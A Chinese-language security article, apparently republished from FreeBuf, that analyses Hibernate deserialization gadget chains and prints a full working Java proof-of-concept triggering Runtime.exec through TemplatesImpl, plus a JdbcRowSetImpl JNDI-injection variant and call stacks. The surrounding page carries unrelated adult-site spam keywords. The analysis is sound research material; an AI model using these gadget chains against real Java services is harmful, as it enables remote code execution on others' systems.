成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

深究Java Hibernate框架下的Deserialization

安全 漏洞
對于Hibernate的鏈子來說,還是要看具體的版本,再次修改POC,自我感覺版本之間的關鍵方法差異有點大。

寫在前面

Hibernate是一個開源免費的、基于 ORM 技術的 Java 持久化框架。通俗地說,Hibernate 是一個用來連接和操作數據庫的 Java 框架,它最大的優點是使用了 ORM 技術。

Hibernate 支持幾乎所有主流的關系型數據庫,只要在配置文件中設置好當前正在使用的數據庫,程序員就不需要操心不同數據庫之間的差異。

分析

對于Hibernate框架的反序列化鏈主要是通過調用了任意的getter方法,結合TemplatesImpl這條鏈子進行利用鏈的構造。

BasicPropertyAccessor

在該框架中存在有org.hibernate.property.PropertyAccessor這個接口

image-20220922194203674.png

我們從這個注釋可以知道,定義了一個類的屬性值的相關策略

在接口中的定義了兩個方法,分別為getGettergetSetter方法

該接口的實現類是BasicPropertyAccessor

image-20220922194554244.png

定義了兩個實現類BasicGetter/ BasicSetter

主要來看看BasicGetter類

image-20220922194659906.png

首先,在其構造方法中傳入了三個參數,分別是目標類,目標方法,目標屬性。

同時關注get方法的實現,將會觸發目標的method方法,這里就是漏洞點。

那么這個Getter又是從何而來的呢?

我們可以關注到BasciPropertyAccessor?類對getSetter方法的重寫

image-20220922195603913.png

在getSetter方法中將會調用createGetter?方法,進而調用了getGetterOrNull方法。

image-20220922195713115.png

在該方法中,將會通過getterMethod?方法得到對應屬性的getter方法名,如果存在的話,將會將其封裝為BasicGetter對象進行返回。

那我們跟進一下getterMethod方法

image-20220922195924588.png

首先在該方法中將會調用theClass.getDeclaredMethods?方法得到目標類的所有存在的方法,之后遍歷這些方法,如果該方法參數個數不為零就跳過,獲取方法返回Bridge也會跳過,之后在獲取該方法名之后,判斷是否是get開頭,如果是,將會進行比對處理之后返回這個方法。

就這樣得到了對應的Getter方法,而想要調用,還需要使用他的get方法。

那么又是在哪里調用了其get方法的呢?

AbstractComponentTuplizer

答案就這個類中

類中存在一個getPropertyValue方法

image-20220922200916575.png

將會遍歷調用getters屬性中的get方法

我們看看getters屬性是個啥

image-20220922201045886.png

他是一個Getter對象數組,正好了,上面返回了一個Getter方法,可以反射寫入這個數組中,在getPropertyValue方法中調用其get方法,達到利用鏈的觸發。

但是值得注意的是AbstractComponentTuplizer是一個抽象類,我們尋找一下他的子類。

image-20220922201246317.png

存在有兩個子類,DynamicMapComponentTuplizer?類和PojoComponentTuplizer類一個是處理映射為Map對象,一個映射為JAVA實體。

我們可以發現在PojoComponentTuplizer?類中存在有getPropertyValues方法。

image-20220922201648753.png

且能夠調用父類的getPropertyValues方法,

那么這個類方法又是在何處存在調用。

TypedValue

通過Uage的搜索,發現在org.hibernate.type.ComponentType#getPropertyValue存在有相關方法的調用。

image-20220922202954447.png

這條鏈子的關鍵點還是在org.hibernate.engine.spi.TypedValue類中。

image-20220922204747080.png

在其構造方法中傳入了Type和Object對象的映射,在上面提到的ComponentType同樣實現了Type接口。

在構造方法中除了賦值,還調用了initTransients方法。

image-20220922204934884.png

創建了一個 ValueHolder 對象,并為其賦予了一個新的 DeferredInitializer 對象并重寫了initialize()方法。

之后將其賦予給hashCode屬性,我們可以關注到反序列化入口點,在hashCode?方法中調用了初始化賦值的hashCode屬性的getValue方法。

image-20220922205451606.png

即是調用了ValueHolder#getValue方法,

image-20220922205522695.png

在這里將會調用之前初始化時重寫的initialize方法,

image-20220922205642426.png

如果此時的type是ComponentType?就將會調用它的getHashCode方法,

image-20220922205750079.png

最終調用了getPropertyValue方法形成了利用鏈。

利用構造

Hibernate1

同樣的,首先創建一個TemplatesImpl對象

//動態創建字節碼
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

之后獲取對應的getter。

// 創建 BasicGetter 實例,用來觸發 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), method, "outputProperties");

之后我們需要觸發getter的get方法,根據前面的分析,我們可以知道是通過調用org.hibernate.tuple.component.PojoComponentTuplizer類觸發get的調用。

所以我們創建一個實例并反射寫入數據。

Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);
// 反射將 BasicGetter 寫入 PojoComponentTuplizer 的成員變量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);

完整的POC。

package pers.hibernate;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import pers.util.SerializeUtil;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class Hibernate1 {

public static void main(String[] args) throws Exception {

Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


//動態創建字節碼
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_name", "RoboTerh");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

Object getter;
try {
// 創建 GetterMethodImpl 實例,用來觸發 TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
// 創建 BasicGetter 實例,用來觸發 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), method, "outputProperties");
}

// 創建 PojoComponentTuplizer 實例,用來觸發 Getter 方法
Object tuplizer = SerializeUtil.createWithoutConstructor(pojoComponentTuplizerClass);

// 反射將 BasicGetter 寫入 PojoComponentTuplizer 的成員變量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);

// 創建 ComponentType 實例,用來觸發 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = SerializeUtil.createWithoutConstructor(componentTypeClass);

// 反射將相關值寫入,滿足 ComponentType 的 getHashCode 調用所需條件
Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
field1.setAccessible(true);
field1.set(type, tuplizer);

Field field2 = componentTypeClass.getDeclaredField("propertySpan");
field2.setAccessible(true);
field2.set(type, 1);

Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
field3.setAccessible(true);
field3.set(type, new Type[]{(Type) type});

// 創建 TypedValue 實例,用來觸發 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);

// 創建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "su18");

// put 到 hashmap 之后再反射寫入,防止 put 時觸發
Field valueField = TypedValue.class.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(typedValue, templates);

ByteArrayOutputStream byteArrayOutputStream = SerializeUtil.writeObject(hashMap);
SerializeUtil.readObject(byteArrayOutputStream);
}
}

解釋一下其中try catch句中是因為:

在不同版本中,由于部分類的更新交替,利用的 Gadget 細節則不同。ysoserial 中也根據不同情況給出了需要修改的利用鏈:

使用org.hibernate.property.access.spi.GetterMethodImpl?替代org.hibernate.property.BasicPropertyAccessor$BasicGetter。

使用org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping來對 PojoComponentTuplizer 進行封裝。

調用棧

exec:347, Runtime (java.lang)
<clinit>:-1, Evil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:102, Hibernate1 (pers.hibernate)

Hibernate2

上一條鏈是通過觸發TemplatesImpl類的getOutputProperties方法觸發的。

這條鏈就是通過JdbcRowSetImpl這條鏈觸發JNDI注入,細節在fastjson的利用鏈中就講過了,可以找一下我的文章。

因為我們能夠觸發任意的getter方法,所以我們可以通過調用getDatabaseMetaData方法。

image-20220922225601722.png

進而調用connect方法觸發漏洞,

image-20220922225623399.png

POC的構造也很簡單,只需要將前面創建TemplatesImpl對象的部分改為創建JdbcRowSetImpl 類對象。

JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");

image-20220922231220788.png

調用鏈

exec:347, Runtime (java.lang)
<clinit>:-1, ExecTemplateJDK8
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:91, VersionHelper12 (com.sun.naming.internal)
loadClass:106, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:169, BasicPropertyAccessor$BasicGetter (org.hibernate.property)
getPropertyValue:76, AbstractComponentTuplizer (org.hibernate.tuple.component)
getPropertyValue:414, ComponentType (org.hibernate.type)
getHashCode:242, ComponentType (org.hibernate.type)
initialize:98, TypedValue$1 (org.hibernate.engine.spi)
initialize:95, TypedValue$1 (org.hibernate.engine.spi)
getValue:72, ValueHolder (org.hibernate.internal.util)
hashCode:73, TypedValue (org.hibernate.engine.spi)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:51, SerializeUtil (pers.util)
main:88, Hibernate2 (pers.hibernate)

總結

對于Hibernate的鏈子來說,還是要看具體的版本,再次修改POC,自我感覺版本之間的關鍵方法差異有點大。

Ref

https://su18.org/

責任編輯:武曉燕 來源: FreeBuf.COM
相關推薦

2009-06-01 10:47:32

jboss seam例jboss seam開jboss seam

2010-06-21 17:08:10

Java框架ScalaSpring

2016-03-07 09:09:35

blockios開發實踐

2009-06-02 17:18:10

hibernate框架簡介

2011-07-01 11:02:30

EnyowebOShello world

2011-04-22 11:24:13

mootools

2021-08-19 11:51:37

Commvault

2009-09-28 15:24:38

Hibernate V

2009-09-22 13:09:06

Hibernateorm框架

2021-07-16 09:54:49

鴻蒙HarmonyOS應用

2020-02-20 15:19:56

JavaSQL注入

2010-10-15 09:52:00

XephyrMeeGoQt

2011-07-01 10:52:59

EnyowebOS 3.0 S

2009-06-19 16:05:39

時間類型Struts

2009-09-29 10:37:29

Hibernate持久

2009-06-02 17:27:28

Hibernate框架ORM

2011-03-24 11:37:41

Hibernate

2021-10-14 09:53:38

鴻蒙HarmonyOS應用

2011-06-16 16:41:20

Qt MeeGo SDK

2009-09-23 10:14:22

Hibernate
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 香蕉视频一区二区 | 国产精品2 | 一级看片免费视频囗交动图 | 三级黄色片在线观看 | 久久人体视频 | 日本爱爱视频 | 91精品国产美女在线观看 | 日韩中文字幕 | 欧美国产日韩在线 | 欧美黄在线观看 | 超碰男人天堂 | 日本欧美大片 | 91欧美精品成人综合在线观看 | 日本高清视频网站 | 免费亚洲视频 | 色偷偷噜噜噜亚洲男人 | 91国内精精品久久久久久婷婷 | 色www精品视频在线观看 | 欧美一区2区三区4区公司二百 | 成人精品系列 | av毛片在线| 国产精品一二三区 | 九九九视频精品 | 成人黄色网址大全 | 久久激情视频 | 国产日韩视频 | 午夜欧美日韩 | 在线观看中文字幕 | 日韩一区二区三区在线视频 | 羞视频在线观看 | 欧美精品在线免费观看 | 最近日韩中文字幕 | 毛片一级片| 自拍偷拍亚洲一区 | 国产精品免费观看 | 亚洲av毛片 | 色资源在线视频 | 91麻豆精品国产91久久久资源速度 | 国产美女精品 | 天天操 夜夜操 | 久久久91|